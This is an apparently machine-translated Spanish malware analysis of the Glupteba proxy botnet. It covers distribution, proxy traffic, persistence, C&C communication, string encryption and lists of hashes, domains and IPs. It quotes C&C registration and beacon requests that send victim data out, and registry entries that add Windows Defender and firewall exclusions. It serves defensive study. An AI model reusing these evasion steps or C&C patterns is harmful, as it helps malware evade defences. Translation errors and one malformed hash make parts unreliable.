Un estudio de Linux / Ebury , el componente principal de la operación de Windigo , nos llevó a observar más de cerca el resto del ecosistema para ver si se usaron en la operación. Se llamó la atención sobre el servidor proxy Win32 / Glupteba abierto, que anteriormente se distribuía utilizando un conjunto de exploits como parte de la operación Windigo. Según los resultados del último análisis, suponemos que el programa ya no está asociado con Windigo.
En una publicación, proporcionaremos información sobre los mecanismos de distribución actuales de Glupteba, un breve análisis del tráfico de red que pasa a través del proxy, un análisis técnico del estado del archivo binario de Glupteba y la relación entre Glupteba y Windigo.
La proliferación de dinámica de Glupteba
Breve historia
En diferentes momentos, Glupteba utilizó diferentes métodos de distribución. Hemos rastreado los patrones y métodos básicos del malware en los últimos siete años y proporcionamos una visión general de su evolución.
En 2011, cuando ESET estaba estudiando el kit de arranque TDL-4 , nuestros analistas descubrieron (y publicaron ) que se usaba como un descargador de malware adicional. Glupteba fue una de las opciones que instaló Malvari. Los operadores de TDL-4 probablemente vendieron servicios de distribución a los mercados negros.
Tres años después, un estudio de la operación de Windigo reveló que parte de la infraestructura de servidores Linux comprometidos se utilizó para redirigir algunas de las solicitudes HTTP a través de servidores web troyanizados (Apache httpd, lighttpd y nginx). Las solicitudes fueron redirigidas a servidores DNS controlados por los operadores de Windigo, que devolvieron la dirección IP del destino final de redireccionamiento a través de un registro A. Por lo general, albergaba un conjunto de hazañas. Con el exploit utilizado con éxito, Glupteba se instaló en el dispositivo de destino.
La relación entre Windigo y Glupteba no se limita a esto. Los servidores C & C Glupteba también se alojaron en máquinas que forman parte de la botnet Windigo. Además, la única misión de Glupteba en ese momento era reenviar el spam en nombre de la infraestructura de Windigo. Es difícil decir que las mismas personas controlaban la botnet Glupteba y Windigo. Los operadores de Windigo pueden haber revendido el acceso a su infraestructura.
Esquema de distribución moderno
Actualmente, el vector de distribución de Glupteba ha cambiado nuevamente. Malvar ya no usa la infraestructura de Windigo: Glupteba ahora es parte de su propia botnet.
Glupteba se distribuye utilizando MSIL / Adware.CsdiMonetize.AG, un programa que ofrece varias familias de malware que pagan la cantidad de instalaciones (Pay-Per-Install). Además de Glupteba, observamos la carga de software potencialmente no deseado, cripto mineros y adware.
En lugar de descargar Glupteba.AY directamente, MSIL / Adware.CsdiMonetize.AG descarga su cuentagotas, que registra el bot en el servidor C&C, agrega excepciones a Windows Defender y el firewall de Windows, y también configura el entorno para instalar Glupteba.
La solicitud de registro del bot contiene información sobre el automóvil de la víctima. Aquí hay un ejemplo de tal solicitud:
POST /bots/register HTTP/1.1 Host: burnandfire5.com User-Agent: Go-http-client/1.1 Content-Length: 400 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]= 7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71
También se crea una entrada de registro de Windows HKCU \ Software \ Microsoft \ TestApp \ UUID. Esto es necesario para la implementación exitosa de Glupteba. El parámetro no debe estar vacío.
A continuación, se crean las siguientes entradas de registro para agregar excepciones a las reglas de Windows Defender y al firewall de Windows:
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = “v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe”
Según la telemetría de ESET, la actividad de Glupteba se ha registrado en 180 países desde principios de 2017. Tres países representan el 25% de todas las detecciones: Rusia, Ucrania y Turquía. La Figura 1 muestra los países en los que hemos podido identificar casos de distribución.

Figura 1. Tasa de detección por país
Análisis de uso de proxy
En el momento de la operación Windigo, el único propósito de Glupteba era reenviar el correo no deseado a los destinatarios finales. Queríamos saber si el uso de malvari ha cambiado desde entonces. En noviembre de 2017, registramos el tráfico de red que pasa a través de un host infectado durante cuatro días. Dado que el tráfico HTTPS permaneció cifrado, la imagen observada se limitó a protocolos de red no cifrados. Según nuestro análisis, ahora Glupteba no solo envía spam, ahora el malware usa varios sistemas automatizados. Los operadores de Glupteba pueden usar el servidor proxy ellos mismos, pero creemos que venden su uso como un servicio a terceros. Además proporcionaremos información sobre el tráfico más interesante.
Lo primero que notamos es que Glupteba todavía se usa para enviar spam a los destinatarios finales. Aquí hay un ejemplo de tal mensaje:
From: “Ella Dmhfey” <Ella87@bilanzgewinn.at> To: “???????” <??????????@gmail.com> Subject: ?????????? kaufen Sie Se-xpower Date: Fri, 10 Nov 2017 14:18:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=”iso-8859-1″ Content-Transfer-Encoding: 7bit Guten Tag ????????? , Damit kriegen Sie Ihre Dame zum Hoehepunkt. ?????????: http://www.sexpillen-versandhaus[.]info/shop
Además, Glupteba se ve en ataques de reutilización de contraseña. Glupteba proporciona cierto anonimato a los atacantes, ya que la dirección IP siempre está oculta para el servidor de destino. Además, el malware le permite distribuir solicitudes entre varias direcciones IP, lo que reduce el riesgo de bloquear el sitio de destino. Hemos visto el uso de tales ataques en tres dominios.
Tabla 1. Dominios de destino no HTTPS
Nombre de dominio | Breve descripción |
---|
adfoc.us | Servicio de abreviatura de URL donde se paga a los usuarios por visita |
bonusbitcoin.co | Grifo de Bitcoin |
social.tunecore.com | Sitio de alojamiento de música |
Puede haber más dominios de destino. Conocemos los nombres de dominio a los que se accedió al usar el protocolo HTTPS, gracias al campo server_name en la estructura ClientHello utilizada en el proceso de negociación de una conexión usando el protocolo TLS (Handshake). Esto da una idea de qué sitios fueron el objetivo del ataque. La Tabla 2 enumera los dominios ordenados por tráfico decreciente.
Tabla 2. Dominios en el campo nombre_servidor del certificado
Otro ejemplo de retransmisión automática de tráfico a través de un elemento intermedio se registra en el sitio web www.omegle.com. En este sitio, dos extraños pueden reunirse en un chat privado. Vimos al bot unirse al chat e intentar convencer a otro usuario para que siga el enlace. Este servicio parece ser un objetivo popular para los bots. La mayoría de las interacciones observadas fueron que dos bots se atrajeron entre sí a la aplicación móvil Kik Messenger u ofrecieron ir a sitios pornográficos a través de un enlace corto.
Aquí hay un ejemplo de la interacción de dos bots:
guest> heyy stranger> my name is Tomasa stranger> im female . stranger> from Rio de aneiro,Brazil stranger> ready to talk, enter here: stranger> bit.ly/<REDACTED> guest> 18 female guest> wanena etrade picturesh ? guest> zyari.site/<REDACTED> guest> messsage me theree ill sendc you sxome mor8e guest> ok we2ll im goinn 2 getwt off bye
También encontramos bots que utilizan solicitudes HTTP POST especiales en un intento de encontrar shells web. Los dominios se ordenaron alfabéticamente en orden descendente, lo que implica el procesamiento del software de su lista.
Enlaces con Windigo
Decidimos visitar Glupteba nuevamente para averiguar si el malware estaba relacionado con la operación de Windigo. El análisis reveló que esto no es así. A continuación, consideramos las razones de esta conclusión.
Lo primero que notamos fueron los servidores utilizados por Glupteba C&C. Ninguna de las direcciones IP detectadas coincidía con los servidores conocidos comprometidos por Ebury. Además, los nuevos servidores C&C tienen muchos puertos abiertos, mientras que los antiguos solo tenían una regla DNAT y SNAT para redirigir el tráfico al servidor actual. Tal cantidad de puertos abiertos crea mucha interferencia; esto no es típico de los operadores de Windigo.
Como se menciona en el informe de operación de Windigo, un cliente que se conectaba a Glupteba envió una solicitud HTTP GET al puerto 25 de la máquina Ebury comprometida antes de enviar spam. Ahora el esquema ha cambiado: el spam pasa por un proxy sin ninguna entrada, los mensajes se ven diferentes.
Finalmente, la distribución de Glupteba ya no depende de Windigo: MSIL / Adware.CsdiMonetize.AG es responsable de ello.
Con base en lo anterior, creemos que Glupteba ya no está asociado con la operación de Windigo.
Análisis técnico
En esta sección, proporcionamos un análisis técnico de las muestras de Glupteba estudiadas durante el estudio. Lo primero que notamos es que difieren de las muestras que analizamos en 2014. Creemos que Glupteba ha sido reescrito desde cero. Glupteba solía ser un programa bastante pequeño y simple, mientras que ahora es un programa voluminoso y muy complejo de C ++. Anteriormente, admitía unas 70 funciones, ahora hay más de 3600 de ellas.

Figura 2. Comparación de la lista de funciones
Glupteba ahora está estáticamente vinculado a las bibliotecas Boost C ++ , como se muestra en la Figura 3. Para la comunicación a través de sockets, utiliza la API de Windows Sockets: WSASend y WSARecv en lugar de enviar y recibir.

Figura 3. Mejorar las líneas de código de la biblioteca C ++
Persistencia
Glupteba proporciona persistencia al agregar una entrada a la clave de registro Ejecutar. Por lo tanto, cada vez que Windows se inicia, Glupteba se inicia. Aquí está la entrada de registro que está creando:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet = “
Se crean otras entradas en el registro de Windows. Aquí están los más interesantes:
HKCU\Software\EpicNet Inc.\CloudNet\Value = “20180223” HKCU\Software\EpicNet Inc.\CloudNet\GUID = “CDC0432A-0298-40B1-9A71-D61F94C013A7”
La entrada GUID contiene la identificación del bot creado por la llamada CoCreateGuid. El registro de valor contiene la marca de tiempo del archivo PE binario Glupteba.
Comunicación con un servidor de C&C
Desde el punto de vista de la configuración de la red, no hay cambios importantes en estas muestras en comparación con las muestras que describimos en el informe de operación de Windigo. Al inicio, Glupteba envía la misma baliza al servidor de comandos, en respuesta recibe la sesión y el puerto al que Glupteba se conecta para las tareas relacionadas con el proxy.
La baliza enviada al servidor de comandos:
GET /stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0
Los servidores del equipo se almacenan encriptados en un archivo binario. Después del descifrado, se ven así:
'server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,'
El número después de los dos puntos es el rango máximo de la cantidad de servidores. En este caso, "30" significa que se obtienen 30 nombres de dominio formateando la cadena de dominio con números del 1 al 30. Cuando se comunica con el servidor C&C, uno de estos dominios se selecciona aleatoriamente, y el GUID de la máquina comprometida se agrega como un subdominio al comienzo de servidor seleccionado
Ejemplo de servidor C y C:
68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz
Glupteba también envía una segunda solicitud GET a su servidor de comandos para actualizar la información sobre las especificaciones técnicas de la máquina de la víctima. Se ve así:
GET /update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0
Cifrado de cadenas
Las líneas de código de Glupteba se cifran mediante un algoritmo especial. El proceso de descifrado utiliza una clave de 16 bytes y ocurre en tres fases. La clave es diferente para cada versión del programa. Durante la primera fase, se utiliza el generador de vórtices Mersenne (PRNG). El algoritmo se completa con los primeros cuatro bytes de la clave. Luego, cada byte del cifrado pasa por una operación XOR con el siguiente byte generado por el vórtice de Mersenne.

Figura 4. La primera fase del proceso de descifrado.
Hay tres opciones diferentes para la segunda fase. Uno usa el cifrado Rabbit , el otro realiza otra iteración de la operación XOR, similar a la utilizada en la primera fase, pero con un relleno de clave diferente. En las muestras estudiadas, solo se utiliza la tercera opción. Consiste en un bucle XOR con una clave.
La tercera y última fase es otro ciclo XOR con el valor obtenido al calcular el resultado de la segunda fase y los valores inmediatos.

Figura 5. La tercera fase del proceso de descifrado
En nuestro repositorio de GitHub, hemos publicado un script para descifrar todas las líneas. Dado que la implementación del vórtice de Mersenne en Python es ligeramente diferente de la utilizada por Glupteba, también publicamos su implementación en Python. Antes de ejecutar el script, asegúrese de que su directorio esté en su% PYTHONPATH%. Puede hacer esto ejecutando el comando en el intérprete IDA de Python:
sys.path.append(< >)
Resumen
Los operadores de Glupteba continúan buscando formas de difundir el malvari, a pesar de la oposición de la comunidad profesional. Después de descubrir las operaciones de Windigo, cambiaron de táctica mientras mantenían la cobertura.
El desarrollo del kit de herramientas desde cero y la distribución actual muestra que los atacantes que ejecutan Glupteba todavía están activos. Sus esfuerzos demuestran que el mercado de proxy abierto es extremadamente rentable y es poco probable que Glupteba desaparezca del radar en el futuro cercano.
Hashes
SHA-1 | Nombre de archivo | Detección de ESET |
---|
B623F4A6CD5947CA0016D3E33A07EB72E8C176BA | cloudnet.exe | Win32 / Glupteba.AY |
ZED310E5B9F582B4C6389F7AB9EED17D89497F277 | cloudnet.exe | Win32 / Glupteba.AY |
F7230B2CAB4E4910BCA473B39EE8FD4DF394CE0D | setup.exe | MSIL / Adware.CsdiMonetize.AG |
70F2763772FD1A1A54ED9EA88A2BCFDB184BCB91 | cloudnet.exe | Win32 / Glupteba.AY |
87AD7E248DADC2FBE00D8441E58E64591D9E3CBE | cloudnet.exe | Win32 / Glupteba.AY |
1645AD8468A2FB54763C0EBEB766DFD8C643F3DB | csrss.exe | Win32 / Agent.SVE |
Dominios C y C del servidor Glupteba
server-{1,30}[.]ostdownload.xyz server-{1,30}[.]travelsreview.world server-{1,30}[.]bigdesign.website server-{1,30}[.]sportpics.xyz server-{1,30}[.]kinosport.top server-{1,30}[.]0ev.ru server-{1,30}[.]0df.ru server-{1,30}[.]0d2.ru server-{1,30}[.]0d9.ru
Direcciones IP del servidor Glupteba C&C
5[.]101.6.132 5[.]79.87.139 5[.]79.87.153 5[.]8.10.194 37[.]48.81.151 46[.]165.244.129 46[.]165.249.167 46[.]165.249.195 46[.]165.249.201 46[.]165.249.203 46[.]165.250.25 78[.]31.67.205 78[.]31.67.206 80[.]93.90.27 80[.]93.90.32 80[.]93.90.69 80[.]93.90.72 80[.]93.90.78 80[.]93.90.84 81[.]30.152.25 85[.]114.135.113 85[.]114.141.81 89[.]163.206.137 89[.]163.206.174 89[.]163.212.9 91[.]121.65.98 91[.]216.93.126 91[.]216.93.20 109[.]238.10.78 178[.]162.193.193 178[.]162.193.195 178[.]162.193.66 178[.]162.193.86 193[.]111.140.238 193[.]111.141.213 212[.]92.100.114 212[.]92.100.115 213[.]202.254.161 213[.]5.70.9 217[.]79.189.227
Agent.SVE Server C&C Domains
financialtimesguru[.]com comburnandfire5[.]com